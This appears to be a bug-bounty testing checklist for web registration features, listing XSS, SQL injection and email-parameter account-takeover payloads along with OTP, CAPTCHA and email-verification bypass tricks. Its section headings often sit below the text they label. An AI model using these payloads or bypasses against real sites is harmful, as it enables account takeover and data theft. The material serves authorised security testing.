



1. weak passwords like 123456
2. username same as email address
3. password same as email address
4. improper implemented password reset and change features

## Weak/Lack of Password Policy

```
daadmin1@example.com<script>alert('xss');</script>
"><svg/onload=confirm(1)>"@x.y
"hello<form/><!--><details/open/ontoggle=alert(1)>"@gmail.com
["");alert('XSS');//"]@xyz.xxx
"<svg/onload=alert(1)>"@gmail.com
test@gmail.com%27\\%22%3E%3Csvg/onload=alert(/xss/)%3E
```

## XSS in username/email for Registration

1. Go Sign up form.
2. Fill the form and enter a long string in password
3. Click on enter and you'll get 500 Internal Server error if it is vulnerable.

## DOS at Name/Password field in Signup Page

MAYbeeEE@Gmail.coM, looks like camel case

## Play with Email to Overwrite existing user

uppercase, +1@. Put black characters after the email:  
test@test.com a , special characters in the email name  
(%00, %09, %20), victim@gmail.com@attacker.com,  
victim@attacker.com@gmail.com

(when there is some kind of length limit in the username or email) -> Create user with name: admin [a lot of spaces] a

## SQL Truncation Attack

Create user named: AdMIn (uppercase & lowercase letters)

## Play with username

If the username Reflect in the path like profile/h0tak88r -> thebn  
register with username `.././.././../index.php` this might overwrite  
system's files

## Path Overwrite

## OTP Bypass Via Response Manipulation

{ "code":["1000","1001","1002","1003","1004","9999"]}

## JSON List of codes

Check for default OTP - 111111, 123456, 000000

Check if otp has been leaked in response

Check if old OTP is still valid

Try Use some one other valid OTP it might lake of integrity

No Rate Limit When Sending OTP

Replay Attack

## OTP Bypass

# Registration Feature Security Testing

@abdulmasoodwarlock

## CAPTCHA Bypass

Do not send the parameter related to the captcha

Captcha Bypass via response manipulation

Send the captcha parameter empty.

Check if the value of the captcha is Leaked in the source code of the page.

Check if the value is inside a cookie.

Try to use an old captcha value

If the captcha consists on a mathematical operation try to automate the calculation.

Enter CAPTCHA as a Boolean value (True)

## SQLI in Email Field

Use SQLmap

python3 sqlmap.py -r r.txt --batch

Json ?

{ "email": "asd'or'1='1@a.com" }

{ "email": "a'-IF(LENGTH(database())>9,SLEEP(7),0)or'1='1@a.com" }

## ATO from manipulating the email Parameter

email=victim@mail.com&email=hacker@mail.com

{ "email": [ "victim@mail.com", "hacker@mail.com" ] }

email=victim@mail.com%0A%0Dcc:hacker@mail.com  
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

email=victim@mail.com.hacker@mail.com  
email=victim@mail.com%20hacker@mail.com  
email=victim@mail.com|hacker@mail.com

email@email.com,victim@hack.secry  
email@email","victim@hack.secry  
email@email.com:victim@hack.secry  
email@email.com%0d%0avictim@hack.secry

PrivEsc

Email Verification link Doesn't Expire After Email Change Leads to Delete User Account

Verification link leaked in the response

- 1: Signup for victim@gmail.com using email signup
- 2: check the response for the server

Bypass via Response Manipulation

bypass partner email confirmation

No Rate Limit when resend Email Confirmation

Email Verification Bypass after email change

Unlocking Important Resources with Email Verification Bypass

## Email Verification Abuse

